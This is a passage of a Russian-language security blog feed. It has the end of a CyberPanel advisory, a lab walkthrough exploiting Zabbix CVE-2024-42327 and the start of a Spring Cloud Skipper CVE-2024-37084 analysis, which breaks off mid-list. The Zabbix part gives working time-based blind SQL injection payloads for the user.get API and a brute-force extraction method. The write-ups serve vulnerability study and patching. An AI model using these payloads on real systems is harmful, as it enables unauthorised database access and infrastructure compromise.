  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;YmUS&quot;&gt;Рекомендации по устранению&lt;/h1&gt;
  &lt;/section&gt;
  &lt;ol id=&quot;rHwV&quot;&gt;
    &lt;li id=&quot;2Gpp&quot;&gt;Патч для уязвимости доступен. Необходимо обновить &lt;code&gt;CyberPanel&lt;/code&gt; до версии, включающей исправление. Эта уязвимость затрагивает версии до &lt;code&gt;2.3.6&lt;/code&gt; и непатченную &lt;code&gt;2.3.7&lt;/code&gt;. Убедитесь, что вы используете последнюю версию программного обеспечения. Инструкции по обновлению можно найти на официальном сайте &lt;code&gt;CyberPanel&lt;/code&gt;.&lt;/li&gt;
    &lt;li id=&quot;5AqN&quot;&gt;Ограничьте доступ к панели управления.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h1 id=&quot;i4y6&quot;&gt;Заключение&lt;/h1&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Uoj6&quot;&gt;Для предотвращения атак настоятельно рекомендуется срочно установить патч, ограничить доступ к панели управления и провести аудит системы на предмет возможного компрометации. Эта уязвимость подчеркивает важность регулярного обновления ПО и применения средств мониторинга.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:zabbix_cve_2024_42327</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/zabbix_cve_2024_42327?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>Remote Code Execution через SQL инъекцию в Zabbix (CVE-2024-42327)</title><published>2024-12-11T11:23:10.576Z</published><updated>2024-12-11T11:23:10.576Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/2c/a0/2ca0c9db-57a2-4d49-8592-b0b03c95f363.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/7c/e0/7ce0c193-8076-4510-8c5f-3f1d8ed5ddd6.jpeg&quot;&gt;Zabbix — это система мониторинга, предназначенная для отслеживания состояния ИТ-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени. 27 ноября 2024 года была выявлена критическая уязвимость в Zabbix с CVSS-оценкой 9.9, представляющая собой SQL-инъекцию в одном из эндпоинтов API Zabbix. Уязвимость позволяет атакующему, имеющему доступ к API, выполнить произвольные SQL-запросы.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;g94O&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;gFz9&quot;&gt;&lt;strong&gt;Zabbix&lt;/strong&gt; — это система мониторинга, предназначенная для отслеживания состояния &lt;code&gt;ИТ&lt;/code&gt;-инфраструктуры, серверов, сетевых устройств, приложений и сервисов в реальном времени.&lt;/p&gt;
  &lt;h3 id=&quot;RTz9&quot;&gt;Для чего нужен:&lt;/h3&gt;
  &lt;ul id=&quot;47pD&quot;&gt;
    &lt;li id=&quot;6WJd&quot;&gt;&lt;strong&gt;Мониторинг ресурсов&lt;/strong&gt;: &lt;code&gt;CPU&lt;/code&gt;, память, диски, сетевые интерфейсы.&lt;/li&gt;
    &lt;li id=&quot;CR9d&quot;&gt;&lt;strong&gt;Слежение за доступностью&lt;/strong&gt;: Проверка работы сайтов, приложений, баз данных.&lt;/li&gt;
    &lt;li id=&quot;suM5&quot;&gt;&lt;strong&gt;Уведомления&lt;/strong&gt;: Настройка алертов (&lt;code&gt;e-mail&lt;/code&gt;, &lt;code&gt;Telegram&lt;/code&gt;, &lt;code&gt;SMS&lt;/code&gt;) при сбоях или достижении критических значений.&lt;/li&gt;
    &lt;li id=&quot;j0rW&quot;&gt;&lt;strong&gt;Сбор метрик&lt;/strong&gt;: Анализ производительности и прогнозирование проблем.&lt;/li&gt;
    &lt;li id=&quot;I3s4&quot;&gt;&lt;strong&gt;Автоматизация задач&lt;/strong&gt;: Выполнение удалённых команд на серверах.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;2e5B&quot;&gt;&lt;code&gt;Zabbix&lt;/code&gt; полезен для обеспечения стабильной работы инфраструктуры и быстрого реагирования на проблемы.&lt;/p&gt;
  &lt;blockquote id=&quot;eW46&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;oRHW&quot;&gt;Об уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;Q1JY&quot;&gt;7 ноября 2024 года была выявлена критическая уязвимость в &lt;code&gt;Zabbix&lt;/code&gt; с CVSS-оценкой &lt;strong&gt;9.9&lt;/strong&gt;, представляющая собой &lt;code&gt;SQL&lt;/code&gt;-инъекцию в одном из эндпоинтов &lt;code&gt;API&lt;/code&gt; &lt;code&gt;Zabbix&lt;/code&gt;. Уязвимость позволяет атакующему, имеющему доступ к &lt;code&gt;API&lt;/code&gt;, выполнить произвольные &lt;code&gt;SQL&lt;/code&gt;-запросы. При определённых настройках &lt;code&gt;Zabbix&lt;/code&gt;, которые разрешают удалённое выполнение команд через агентов, эта уязвимость может быть использована для полной компрометации инфраструктуры, находящейся под мониторингом &lt;code&gt;Zabbix&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;zCnU&quot;&gt;Уязвимости подвержены следующие версии &lt;code&gt;Zabbix Frontend&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;NNUB&quot;&gt;6.0.0 - 6.0.31 / 6.0.32rc1
6.4.0 - 6.4.16 / 6.4.17rc1
7.0.0 / 7.0.1rc1&lt;/pre&gt;
  &lt;blockquote id=&quot;Dnw5&quot;&gt;&lt;strong&gt;SQL-инъекция&lt;/strong&gt; — это тип уязвимости в приложениях, при которой злоумышленник может вставить вредоносные SQL-запросы в строку запроса к базе данных. Это может позволить ему получить несанкционированный доступ к данным, изменить их, удалить или выполнить другие вредоносные операции, такие как обход аутентификации или управление системой. SQL-инъекции часто возникают из-за недостаточной валидации входных данных.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;XBtj&quot;&gt;Подготовка тестового окружения&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;LYpA&quot;&gt;Для развертывания стенда будет использована виртуальная машина с операционной системой &lt;code&gt;Debian&lt;/code&gt;, на которой &lt;code&gt;Zabbix&lt;/code&gt; версии &lt;code&gt;6.0.30&lt;/code&gt; будет развернут в &lt;code&gt;Docker&lt;/code&gt; контейнере. Установка будет производиться с использованием следующих команд:&lt;/p&gt;
  &lt;pre id=&quot;nGOo&quot;&gt;sudo apt install docker.io docker-compose # установка Docker и docker-compose
nano docker-compose.yaml&lt;/pre&gt;
  &lt;p id=&quot;3ggy&quot;&gt;После выполнения этих команд откроется текстовый редактор с файлом &lt;code&gt;docker-compose.yaml&lt;/code&gt;, в который необходимо внести следующее содержимое:&lt;/p&gt;
  &lt;pre id=&quot;QQOl&quot;&gt;version: &amp;#x27;3.5&amp;#x27;

services:
  zabbix-db:
    image: mysql:8.0-oracle
    container_name: zabbix-db
    environment:
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      MYSQL_ROOT_PASSWORD: root_password
    volumes:
      - zabbix-db-data:/var/lib/mysql
    restart: unless-stopped

  zabbix-server:
    image: zabbix/zabbix-server-mysql:ubuntu-6.0.30
    container_name: zabbix-server
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
    depends_on:
      - zabbix-db
    ports:
      - &amp;quot;10051:10051&amp;quot;
    restart: unless-stopped

  zabbix-web:
    image: zabbix/zabbix-web-nginx-mysql:ubuntu-6.0.30
    container_name: zabbix-web
    environment:
      DB_SERVER_HOST: zabbix-db
      MYSQL_DATABASE: zabbix
      MYSQL_USER: zabbix
      MYSQL_PASSWORD: zabbix_password
      PHP_TZ: Europe/Moscow
    depends_on:
      - zabbix-server
    ports:
      - &amp;quot;8080:8080&amp;quot;
    restart: unless-stopped

  zabbix-agent:
    image: zabbix/zabbix-agent:ubuntu-6.0.30
    container_name: zabbix-agent
    environment:
      ZBX_SERVER_HOST: zabbix-server
    depends_on:
      - zabbix-server
    restart: unless-stopped

volumes:
  zabbix-db-data:&lt;/pre&gt;
  &lt;p id=&quot;JqFa&quot;&gt;Теперь для запуска &lt;code&gt;Zabbix&lt;/code&gt; достаточно выполнить команду из каталога, содержащего файл &lt;code&gt;docker-compose.yaml&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;fkYy&quot;&gt;sudo docker-compose up -d&lt;/pre&gt;
  &lt;p id=&quot;e1mq&quot;&gt;Веб-интерфейс &lt;code&gt;Zabbix&lt;/code&gt; стал доступен по адресу: &lt;code&gt;http://127.0.0.1:8080:&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;15jS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daee60d-c076-4f2e-9c29-d17c2bc76a0c?expires=1733919021&amp;signature=35a7ad7da59bcdcdfd57a2984f7395e2ac46b21300d7a559c8a44ce8f1c734e8&quot; width=&quot;939&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;XgV9&quot;&gt;Также обратите внимание, что Zabbix можно установить с помощью официальных Docker контейнеров. Они доступны для скачивания на &lt;a href=&quot;https://github.com/zabbix/zabbix-docker&quot; target=&quot;_blank&quot;&gt;GitHub&lt;/a&gt;.&lt;/blockquote&gt;
  &lt;h3 id=&quot;it78&quot;&gt;Подготовка условий для эксплуатации уязвимости&lt;/h3&gt;
  &lt;p id=&quot;AhMa&quot;&gt;Для эксплуатации уязвимости необходим пользовательский аккаунт с доступом к &lt;code&gt;API&lt;/code&gt;. Для демонстрации создадим аккаунт с минимальными правами, но доступом к &lt;code&gt;API&lt;/code&gt;. Создать пользователя можно в разделе &lt;strong&gt;&lt;code&gt;Administration -&amp;gt; Users&lt;/code&gt;:&lt;/strong&gt;&lt;/p&gt;
  &lt;figure id=&quot;ZaSr&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daeedb9-6ca8-47f7-b7c6-a7c611a7cb57?expires=1733919021&amp;signature=9d6d536608925c1a3f6c7a04e7cc527be5c1b30a5fb6cdbc55f669b77f1a6db8&quot; width=&quot;1902&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;YJtM&quot;&gt;Стандартные админские учётные данные Zabbix:Логин: AdminПароль: zabbix&lt;/blockquote&gt;
  &lt;p id=&quot;iW6E&quot;&gt;Создадим учетную запись &lt;code&gt;giscyber&lt;/code&gt; и назначим специальную роль для этой учетной записи в разделе &lt;strong&gt;&lt;code&gt;Administration -&amp;gt; User roles&lt;/code&gt;&lt;/strong&gt;. Роль будет настроена с минимальными привилегиями и доступом к &lt;code&gt;API&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;cRFP&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daef02d-349d-413b-9e8c-13cd6c765d34?expires=1733919021&amp;signature=f1365d40c235bae85932885bea25bfc2b079b3b9842fcb75e07d521e2252c072&quot; width=&quot;669&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Jlrm&quot;&gt;Для получения токена сессии отправьте &lt;code&gt;POST&lt;/code&gt; запрос с логином и паролем пользователя к &lt;code&gt;API Zabbix&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;hbgY&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf0031-c38d-46dd-9b43-7c0f5dae42ec?expires=1733919021&amp;signature=73c6c746f0a0ea7b2542f0bc1fbd8ae328a59f64ab56db2d9d821337d3fe55a2&quot; width=&quot;1229&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;AB5a&quot;&gt;Получив сессионный ключ, можно приступить к эксплуатации уязвимости.&lt;/p&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;zetT&quot;&gt;Эксплуатация уявзимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;qzCo&quot;&gt;Эндпоинт &lt;code&gt;users.get&lt;/code&gt;, доступный любому пользователю &lt;code&gt;Zabbix&lt;/code&gt; с доступом к &lt;code&gt;API&lt;/code&gt;, уязвим к &lt;code&gt;Time-based Blind SQL injection&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; Для проверки уязвимости можно отправить следующий запрос на &lt;code&gt;/api_jsonrpc.php&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;tElT&quot;&gt;{
  &amp;quot;jsonrpc&amp;quot;: &amp;quot;2.0&amp;quot;,
  &amp;quot;method&amp;quot;: &amp;quot;user.get&amp;quot;,
  &amp;quot;params&amp;quot;: {
    &amp;quot;selectRole&amp;quot;: [
      &amp;quot;roleid&amp;quot;,
      &amp;quot;name&amp;quot;,
      &amp;quot;type&amp;quot;,
      &amp;quot;readonly AND (SELECT(SLEEP(5)))&amp;quot;
    ],
    &amp;quot;userids&amp;quot;: [
      &amp;quot;1&amp;quot;,
      &amp;quot;2&amp;quot;
    ]
  },
  &amp;quot;id&amp;quot;: 1,
  &amp;quot;auth&amp;quot;: &amp;quot;**ЗДЕСЬ ИСПОЛЬЗУЕТСЯ ПОЛУЧЕННЫЙ РАНЕЕ СЕССИОННЫЙ КЛЮЧ**&amp;quot;
}&lt;/pre&gt;
  &lt;blockquote id=&quot;Vhq7&quot;&gt;SQL инъекция — это атака, при которой злоумышленник вводит вредоносный SQL код в приложение для доступа или изменения данных в базе данных.&lt;/blockquote&gt;
  &lt;blockquote id=&quot;wH5K&quot;&gt;Time-based SQL инъекция — это тип атаки, при котором злоумышленник использует функцию паузы в SQL запросе, чтобы проверить наличие определенных условий путем измерения времени ответа сервера.&lt;/blockquote&gt;
  &lt;p id=&quot;dYU6&quot;&gt;Как видно, в данном запросе используется встроенная в &lt;code&gt;MySQL&lt;/code&gt; функция &lt;code&gt;SLEEP()&lt;/code&gt;, которая вызывает паузу на заданное внутри скобок количество секунд. Отправив запрос, можно убедиться, что ответ сервера занимает ровно 5 секунд, что подтверждает уязвимость к &lt;code&gt;Time-based blind SQL injection&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;NPLG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf050c-7c09-4847-b3bd-46d14b5a2914?expires=1733919021&amp;signature=e96a6e1f17325bfc2f905ce2a71437d28b6c8bb8a68b377d26cdfd368a8edbd6&quot; width=&quot;1912&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;t9g2&quot;&gt;Для демонстрации возможной пользы уязвимости воспользуемся следующей нагрузкой, чтобы извлечь название базы данных, с которой работает &lt;code&gt;Zabbix&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;bxnJ&quot;&gt;AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE &amp;#x27;_&amp;#x27;)&lt;/pre&gt;
  &lt;p id=&quot;QfJ9&quot;&gt;Для начала необходимо выяснить сколько символов в названии базы данных, для этого добавляем символ &lt;code&gt;_&lt;/code&gt; в нагрузку пока приложение не ответит с задержкой &lt;code&gt;&amp;gt;= 5&lt;/code&gt; секундам. Для тестовой конфигурации нагрузка отработала при 6 символах &lt;code&gt;_&lt;/code&gt;, значит имя базы данных содержит ровно 6 символов:&lt;/p&gt;
  &lt;figure id=&quot;5QJA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1093-1b0f-472f-8d32-7889fa14a25e?expires=1733919021&amp;signature=1fc97b131cc281ed5cbc8d222289e00fc8fc37afd810626785147a0cbf7c4005&quot; width=&quot;1916&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ai1j&quot;&gt;Выделим 1 символ &lt;code&gt;_&lt;/code&gt; и отправим его в &lt;code&gt;Intruder Burp Suite&lt;/code&gt;, затем выберем режим &lt;code&gt;Brute forcer&lt;/code&gt;для перебора первого символа имени базы данных:&lt;/p&gt;
  &lt;figure id=&quot;lAhd&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1e97-d680-4264-9ef1-c759c2303dfd?expires=1733919021&amp;signature=1b8d10eea11979d49ecb3d9fec828a247d0a87a1999fe09ec3c795c6a39683f8&quot; width=&quot;1757&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;WzyL&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1eb3-738f-4475-8e27-67b1c7aeff26?expires=1733919021&amp;signature=bbe659eb2a272bd7957c7fe5312c17bb1483e00cd0fd55383082fed26bafd679&quot; width=&quot;1459&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;A9kY&quot;&gt;Сортируем по времени ответы сервера и узнаём, что первая буква в имени базы данных - &lt;code&gt;z&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;XdUI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf1f7c-0704-48df-af25-c938a6d96cb5?expires=1733919021&amp;signature=7b004a1d411865da835e5079462ade30060524ace8f4bb7cbc4844e670c82635&quot; width=&quot;1699&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;SJio&quot;&gt;Проделав такие манипуляции для всех символов, выясняем что имя БД - &amp;quot;zabbix&amp;quot;:&lt;/p&gt;
  &lt;figure id=&quot;PMzI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://api.weeek.net/ws/609898/files/9daf201f-6de0-4599-a2a9-96bbaf27cf80?expires=1733919021&amp;signature=e8bb49726b3c42ec5e7a12d96d9be81da15923ec4af896b4842cfbda7f5f0d89&quot; width=&quot;1326&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Fyeg&quot;&gt;Вывод&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;7ZmX&quot;&gt;С помощью &lt;code&gt;Time-based SQL&lt;/code&gt;-инъекции злоумышленник может получить доступ к более привилегированным учетным записям &lt;code&gt;Zabbix&lt;/code&gt;, что создает угрозу компрометации всей инфраструктуры, находящейся под наблюдением агентов &lt;code&gt;Zabbix&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;DtwM&quot;&gt;Это делает уязвимость особенно серьезной, что подтверждается высоким рейтингом &lt;code&gt;CVSS&lt;/code&gt;. &lt;/p&gt;
  &lt;p id=&quot;iPGr&quot;&gt;В связи с этим крайне рекомендуется устанавливать самые последние версии программного обеспечения, в которых выпущены соответствующие патчи для устранения данной уязвимости.&lt;/p&gt;

</content></entry><entry><id>giscyberteam:spring_cloud_cve_2024_37084</id><link rel="alternate" type="text/html" href="https://teletype.in/@giscyberteam/spring_cloud_cve_2024_37084?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=giscyberteam"></link><title>CVE-2024-37084: удаленное выполнение кода в Spring Cloud</title><published>2024-12-09T13:23:15.846Z</published><updated>2024-12-09T13:23:15.846Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/87/cc/87cc969f-108c-4be5-90f8-e0268fbbb3cb.png"></media:thumbnail><category term="vulnerability" label="Vulnerability"></category><summary type="html">&lt;img src=&quot;https://img2.teletype.in/files/9e/14/9e14de90-d451-421b-aaad-53d7cfc705a8.png&quot;&gt;Spring Cloud Skipper — это инструмент, который позволяет находить приложения Spring Boot и управлять их жизненным циклом на нескольких облачных платформах. CVE-2024-37084 — это уязвимость в Spring Cloud Skipper, которая позволяет получить доступ к исходным данным YAML.</summary><content type="html">
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;KvLc&quot;&gt;Введение&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;I2vf&quot;&gt;&lt;code&gt;Spring Cloud Skipper&lt;/code&gt; — это инструмент, который позволяет находить приложения &lt;code&gt;Spring Boot&lt;/code&gt; и управлять их жизненным циклом на нескольких облачных платформах.&lt;/p&gt;
  &lt;p id=&quot;AV1u&quot;&gt;Вы можете использовать &lt;code&gt;Skipper&lt;/code&gt; отдельно или интегрировать его с конвейерами непрерывной интеграции для обеспечения непрерывного развёртывания приложений.&lt;/p&gt;
  &lt;p id=&quot;pXfY&quot;&gt;Skipper возник из-за необходимости выполнять «потоковые изменения» в &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;. Позже было признано, что для обеспечения этой функции следует создать проект более общего назначения &lt;code&gt;Skipper&lt;/code&gt;, чтобы он также мог быть полезным набором инструментов вне контекста &lt;code&gt;Spring Cloud Data Flow&lt;/code&gt;.&lt;/p&gt;
  &lt;blockquote id=&quot;a11G&quot;&gt;Данная статья представлена исключительно в образовательных целях. Red Team сообщество &amp;quot;GISCYBERTEAM&amp;quot; не несёт ответственности за любые последствия ее использования третьими лицами.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;5UfD&quot;&gt;Описание уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;KOuU&quot;&gt;&lt;code&gt;CVE-2024-37084&lt;/code&gt; — это уязвимость в &lt;code&gt;Spring Cloud Skipper&lt;/code&gt;, которая позволяет получить доступ к исходным данным &lt;code&gt;YAML&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;GhJM&quot;&gt;Чтобы преобразовать объект в формат &lt;code&gt;Yaml&lt;/code&gt; (стандартный &lt;code&gt;Yaml&lt;/code&gt;-конструктор), выполните обратную последовательность (&lt;code&gt;десериализацию&lt;/code&gt;) для этого объекта.&lt;/p&gt;
  &lt;blockquote id=&quot;Itp5&quot;&gt;&lt;strong&gt;Десериализация (deserialization)&lt;/strong&gt; - это процесс создания структуры данных из битовой последовательности путем перевода этой последовательности в объекты и их упорядочивания (структуризации).&lt;/blockquote&gt;
  &lt;blockquote id=&quot;l19S&quot;&gt;&lt;strong&gt;RCE (Remote Code Execution)&lt;/strong&gt; - это тип уязвимости в веб-приложениях, позволяющий злоумышленникам выполнять произвольный код на удаленном сервере. Это одна из самых опасных уязвимостей, так как она дает полный контроль над системой.&lt;/blockquote&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;HlOO&quot;&gt;Подготовка стенда&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;fDgd&quot;&gt;Скачиваем версию &lt;code&gt;2.11.0 Spring Cloud Data Flow&lt;/code&gt;.&lt;/p&gt;
  &lt;p id=&quot;A6Rh&quot;&gt;&lt;a href=&quot;https://github.com/spring-cloud/spring-cloud-dataflow/releases&quot; target=&quot;_blank&quot;&gt;https://github.com/spring-cloud/spring-cloud-dataflow/releases&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;R2KB&quot;&gt;В &lt;code&gt;spring-cloud-dataflow-2.11.0/src/docker-compose/docker-compose.yml&lt;/code&gt;&lt;/p&gt;
  &lt;figure id=&quot;aOoS&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/7e/0e/7e0ee25a-1b03-4e9e-97aa-3e7456e17d30.png&quot; width=&quot;1636&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;47Ud&quot;&gt;Добавляем следующие строчки для отладки:&lt;/p&gt;
  &lt;p id=&quot;q4XY&quot;&gt;В раздел &lt;code&gt;environment&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;Nzr5&quot;&gt;JAVA_TOOL_OPTIONS=agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address =*:5005&lt;/pre&gt;
  &lt;p id=&quot;4AR1&quot;&gt;в раздел &lt;code&gt;ports&lt;/code&gt;:&lt;/p&gt;
  &lt;pre id=&quot;9phT&quot;&gt;- &amp;quot;5005:5005&amp;quot;&lt;/pre&gt;
  &lt;figure id=&quot;O7RO&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/4d/87/4d87cfff-0ab4-4db3-981f-23382832ba51.png&quot; width=&quot;1582&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZEJL&quot;&gt;Собираем докер:&lt;/p&gt;
  &lt;pre id=&quot;PyZv&quot;&gt;sudo docker compose up --build&lt;/pre&gt;
  &lt;figure id=&quot;xasB&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ed/b0/edb0fd45-b52e-4643-84bf-79644ec49960.png&quot; width=&quot;932&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Asq2&quot;&gt;После установки можно просмотреть панель управления и &lt;code&gt;API Skipper Server&lt;/code&gt;:&lt;/p&gt;
  &lt;figure id=&quot;AjJA&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/9c/e39c1988-f8df-4a6d-acad-aa5833f8a421.png&quot; width=&quot;1920&quot; /&gt;
  &lt;/figure&gt;
  &lt;figure id=&quot;Kgqo&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e4/f7/e4f7865c-63c0-478f-9a8a-ce09fee62491.png&quot; width=&quot;1332&quot; /&gt;
  &lt;/figure&gt;
  &lt;section style=&quot;background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);&quot;&gt;
    &lt;h2 id=&quot;Hl0a&quot;&gt;Разбор уязвимости&lt;/h2&gt;
  &lt;/section&gt;
  &lt;p id=&quot;9yfE&quot;&gt;Анализ исходного кода&lt;/p&gt;
  &lt;p id=&quot;gBPa&quot;&gt;Находим функцию загрузки по пути:&lt;/p&gt;
  &lt;pre id=&quot;cjzT&quot;&gt;spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java&lt;/pre&gt;
  &lt;p id=&quot;hbJY&quot;&gt;Функция:&lt;/p&gt;
  &lt;figure id=&quot;0rh0&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/fe/e6/fee680f7-8e7d-4ca4-862e-32333d10702d.png&quot; width=&quot;1282&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;2GKq&quot;&gt;Описание функции &lt;code&gt;upload()&lt;/code&gt;:&lt;/p&gt;
  &lt;ul id=&quot;SjBt&quot;&gt;
    &lt;li id=&quot;TUJC&quot;&gt;Подвердить запрос на загрузку&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;4p4Z&quot;&gt;Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());&lt;/pre&gt;
  &lt;p id=&quot;xB2Y&quot;&gt;Эта функция проверяет данные запроса на загрузку, чтобы убедиться, что они действительны, прежде чем продолжить.&lt;/p&gt;
  &lt;ul id=&quot;CHOP&quot;&gt;
    &lt;li id=&quot;4dLG&quot;&gt;Получение репозитория для загрузки&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;U2ZU&quot;&gt;Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());&lt;/pre&gt;
  &lt;p id=&quot;OFRK&quot;&gt;Указание репозитория, в который будет загружен пакет, на основе имени репозитория, указанного в запросе.&lt;/p&gt;
  &lt;ul id=&quot;FrL2&quot;&gt;
    &lt;li id=&quot;ZHaW&quot;&gt;Создание временного каталога и создание файла пакета&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;PuYL&quot;&gt;packageDirPath = TempFileUtils.createTempDirectory(&amp;quot;skipperUpload&amp;quot;);
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + &amp;quot;-&amp;quot; + uploadRequest.getVersion() + &amp;quot;.&amp;quot; + uploadRequest.getExtension());
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());&lt;/pre&gt;
  &lt;p id=&quot;Dg6c&quot;&gt;Создание временной директории в системе для размещения загружаемого пакета. Затем из данных пакета создаются временные файлы и сохраняются в этой директории.&lt;/p&gt;
  &lt;ul id=&quot;ppib&quot;&gt;
    &lt;li id=&quot;mEJg&quot;&gt;Распаковка файла для загрузки&lt;/li&gt;
  &lt;/ul&gt;
